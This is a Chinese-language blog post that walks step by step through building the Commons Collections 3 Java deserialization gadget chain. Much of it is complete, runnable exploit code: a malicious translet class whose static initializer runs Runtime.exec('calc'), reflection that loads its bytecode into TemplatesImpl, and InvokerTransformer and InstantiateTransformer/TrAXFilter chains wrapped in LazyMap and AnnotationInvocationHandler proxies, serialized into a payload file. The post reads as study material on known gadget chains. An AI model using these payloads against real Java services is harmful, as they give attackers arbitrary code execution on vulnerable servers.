cc3


cc3用InvokerTransformer

先看ClassLoader在里面我们用loadClass加载

public Class<?> loadClass(String name) throws ClassNotFoundException {
        return loadClass(name, false);
    }

 protected Class<?> loadClass(String name, boolean resolve)
        throws ClassNotFoundException
    {
        synchronized (getClassLoadingLock(name)) {
            // First, check if the class has already been loaded
            Class<?> c = findLoadedClass(name);
            if (c == null) {
                long t0 = System.nanoTime();
                try {
                    if (parent != null) {
                        c = parent.loadClass(name, false);
                    } else {
                        c = findBootstrapClassOrNull(name);
                    }
                } catch (ClassNotFoundException e) {
                    // ClassNotFoundException thrown if class not found
                    // from the non-null parent class loader
                }

                if (c == null) {
                    // If still not found, then invoke findClass in order
                    // to find the class.
                    long t1 = System.nanoTime();
                    c = findClass(name);

                    // this is the defining class loader; record the stats
                    sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                    sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                    sun.misc.PerfCounter.getFindClasses().increment();
                }
            }
            if (resolve) {
                resolveClass(c);
            }
            return c;
        }
    }

可以看到这里面调了 findClass而这个最后又调defineClass

protected Class<?> findClass(String name) throws ClassNotFoundException {
    throw new ClassNotFoundException(name);
}


@Deprecated
protected final Class<?> defineClass(byte[] b, int off, int len)
    throws ClassFormatError
{
    return defineClass(null, b, off, len, null);
}

因为它是protected,因此我们要找到一个public重写它的

就这么查找,找到了这种格式的defineClasspublic的方式(没有写作用域,包里可调用的default),在TemplatesImpl里,我们再在这个包里查找这个defineClass被什么调用

privatedefineTransletClasses(),所以我们继续找,直到里变成public

看一下defineTransletClasses()代码,发现最后是_class[i] = loader.defineClass(_bytecodes[i]);这种_class,然后我们看看找到的三种

下面是三个函数的返回值

image-20260220113906283

可以看到第一个是直接返回_class,需要后续操作初始化,第二个是返回下标,第三个是.newInstance()初始化后就可以动态执行代码,于是我们就选这个getTransletInstance()继续找。

最终找到了publicnewTransformer()

可以看到继承序列化

TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();

我们再找找要填什么

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

//进去getTransletInstance()看看

 try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

因此我们需要_name赋值,_class不赋值

可以看到构造函数没干什么,所以我们需要自己赋值

再跟进defineTransletClasses

private void defineTransletClasses()
    throws TransformerConfigurationException {

    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
            }
        });

    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

可以看到我们需要把_bytecodes赋值,以及需要赋_tfactory,因为它调了个方法,不这样会报错

因为TemplatesImpl是可以序列化的,它的成员变量(属性)能被序列化保存

反射修改的是 TemplatesImpl 对象的内存属性值,序列化会把这些 “篡改后的值” 写入字节流;所以我们直接反射改值就行

可以看到这些都是private,而且_bytecodes是一个二维数组,

for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]);可以看到是遍历的,

而且传的是_bytecodes一维数组,所以我们在一维数组外套层二维数组即可

所以

 Class tc =templates.getClass();
 Field nameField = tc.getDeclaredField("_name");
 nameField.setAccessible(true);
 nameField.set(templates,"lll");
 Field bytecodesField = tc.getDeclaredField("_bytecodes");
 bytecodesField.setAccessible(true);

byte[]code1= Files.readAllBytes(Paths.get("C:\\Users\\16256\\IdeaProjects\\cc1\\target\\classes\\org\\example\\Test.class"));
 byte[][]code2={code1};
 bytecodesField.set(templates,code2);

因为这是字节流传要读文件,我们就新建一个java。可以在构造函数里写也可以在静态代码块写上恶意代码,初始化的时候会执行代码,然后找到编译后生成的class

package org.example;

import java.io.IOException;

public class Test {
    static {
        try {
            Runtime.getRuntime().exec("clac");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

但是因为需要赋_tfactory,我们去看,发现private transient这是不可以序列化的,所以我们给它赋值没意义,反序列化的时候它不会被传进去(transient 是 Java 专门用来标记「不参与默认序列化」的变量修饰符)

序列化阶段                反序列化阶段
  ┌───────────────┐         ┌───────────────┐
  │ writeObject() │         │ readObject()  │
  └───────┬───────┘         └───────┬───────┘
          │                         │
          ▼                         ▼
1. 写非transient变量 →→→→ 1. 读非transient变量(还原值)
2. 跳过transient变量    2. transient变量设为默认值(null/0)
          │                         │
          │                         ▼
          │                   3. 执行readObject()内的自定义逻辑
          │                         │
          │                         ▼
          └─────────────────→ 4. 可能触发其他方法(如getTransletInstance())

我们实际看看,可以看到_tfactory = new TransformerFactoryImpl();

所以

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

但是报错误了,打一个断点

可以看到要想通过下面的if必须_transletIndex > 0,就必须走进前一个if,让_transletIndex = i;,不然_transletIndex就是-1,所以我们就要superClass.getName().equals(*ABSTRACT_TRANSLET*),即它的父类必须是这个

private static String ABSTRACT_TRANSLET
    = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

还得满足它的抽象方法

另一个方法trenslet里面的方法已经实现了

于是

package org.example;

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


public class Main {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException, TransformerConfigurationException {

        TemplatesImpl templates = new TemplatesImpl();
        Class tc =templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"lll");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[]code1= Files.readAllBytes(Paths.get("C:\\Users\\16256\\IdeaProjects\\cc1\\target\\classes\\org\\example\\Test.class"));
        byte[][]code2={code1};
        bytecodesField.set(templates,code2);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());


        templates.newTransformer();
    }

这时可以成功弹出计算器

再移上cc1的那些链,因为无参,所以是InvokerTransformer("newTransformer",null,null)

Transformer[] trs=new Transformer[]{
        new ConstantTransformer(templates),
        new InvokerTransformer("newTransformer",null,null)

};
ChainedTransformer chainedTransformer = new ChainedTransformer(trs);
chainedTransformer.transform("1");

ChainedTransformer.transform(Object input) 方法的参数 input,是传给第一个 Transformertransform() 方法的;

你第一个 Transformer 是 ConstantTransformer(templates),它的 transform() 方法完全忽略输入参数,永远返回你构造时传入的 templates

"1"null"任意值" 都可以 —— 只是为了调用方法时不报错,参数本身对逻辑无任何影响

我们最后将开启的位置换成链子即可

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


public class Main {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException, TransformerConfigurationException {

        TemplatesImpl templates = new TemplatesImpl();
        Class tc =templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"lll");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[]code1= Files.readAllBytes(Paths.get("C:\\Users\\16256\\IdeaProjects\\cc1\\target\\classes\\org\\example\\Test.class"));
        byte[][]code2={code1};
        bytecodesField.set(templates,code2);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());


//        templates.newTransformer();
        Transformer[] trs=new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(trs);
//        chainedTransformer.transform("1");

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);


        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AnnotationInvocationHandlercons=c.getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandlercons.setAccessible(true);
        InvocationHandler h= (InvocationHandler) AnnotationInvocationHandlercons.newInstance(Override.class,lazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

        Object o = AnnotationInvocationHandlercons.newInstance(Override.class, mapProxy);

        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

用InstantiateTransformer

即如果过滤了RunTime就像上方一样

如果过滤了InvokerTransformer,那

我们知道调newTransformer()可以执行,那么我们找找什么调用了这个

总之是第一个是一般对象用的,第二个是getOutputProperties(),第三个类不能序列化,构造函数也很难传,第四个类的构造函数继承的接口不能序列化,但是构造函数控制好也能传

如果不能序列化我们可以像RunTime那种用但是这种是无参的,如果我们要传参数那么我们就需要最好在构造函数里传而不是在赋值的地方传

cc3的作者发现了InstantiateTransformer

特性 InvokerTransformer InstantiateTransformer
核心作用 调用对象的方法 调用类的构造函数创建对象
触发方式 transform(对象) → 调方法 transform(类) → 新建对象
public Object transform(Object input) {
    try {
        if (input instanceof Class == false) {
            throw new FunctorException(
                "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                    + (input == null ? "null object" : input.getClass().getName()));
        }
        Constructor con = ((Class) input).getConstructor(iParamTypes);
        return con.newInstance(iArgs);

可以看到很巧

// 1. 要求输入必须是Class对象(比如TemplatesImpl.class)
if (input instanceof Class == false) { throw 异常; }
// 2. 反射获取指定参数的构造函数
Constructor con = ((Class) input).getConstructor(iParamTypes);
// 3. 用构造函数创建对象(核心:能传参,且创建对象时可能触发逻辑)
return con.newInstance(iArgs);
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
     super();
     iParamTypes = paramTypes;
     iArgs = args;
 }

public TrAXFilter(Templates templates)  throws

所以知道了要传什么

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

依旧TrAXFilter不可序列化但它的class可以序列化

但是我们仍然需要将TrAXFilter.classTransformer[]包起来,因为像cc1一样后面没有传进去的地方

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] trs=new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        instantiateTransformer

};

chainedTransformer.transform("任意值")
    ↓
第一步:ConstantTransformer.transform("任意值") → 返回 TrAXFilter.class
    ↓
第二步:InstantiateTransformer.transform(TrAXFilter.class)
    → 反射获取 TrAXFilter 的构造函数:getConstructor(Templates.class)
    → 调用构造函数:new TrAXFilter(templates)
        → 构造函数内部执行:templates.newTransformer()
            → 触发 TemplatesImpl.getTransletInstance()
                → 加载 _bytecodes 执行恶意代码(弹计算器)

现在就可以弹计算器了

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


public class Main {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException, TransformerConfigurationException {

        TemplatesImpl templates = new TemplatesImpl();
        Class tc =templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"lll");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[]code1= Files.readAllBytes(Paths.get("C:\\Users\\16256\\IdeaProjects\\cc1\\target\\classes\\org\\example\\Test.class"));
        byte[][]code2={code1};
        bytecodesField.set(templates,code2);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());


        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] trs=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer

        };
//        instantiateTransformer.transform(TrAXFilter.class);

//        templates.newTransformer();
//
        ChainedTransformer chainedTransformer = new ChainedTransformer(trs);
//        chainedTransformer.transform("1");
//
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,  chainedTransformer);


        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AnnotationInvocationHandlercons=c.getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandlercons.setAccessible(true);
        InvocationHandler h= (InvocationHandler) AnnotationInvocationHandlercons.newInstance(Override.class,lazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

        Object o = AnnotationInvocationHandlercons.newInstance(Override.class, mapProxy);

        serialize(o);
        unserialize("ser.bin");
   }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

cc3后面的链可以任意代码执行,cc1是命令执行,因此cc3更灵活

当然_tfactory那边注释掉也可以正常运行,因为反序列化的ReadObject会自动赋值

//        Field tfactoryField = tc.getDeclaredField("_tfactory");
//        tfactoryField.setAccessible(true);
//        tfactoryField.set(templates,new TransformerFactoryImpl());

文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录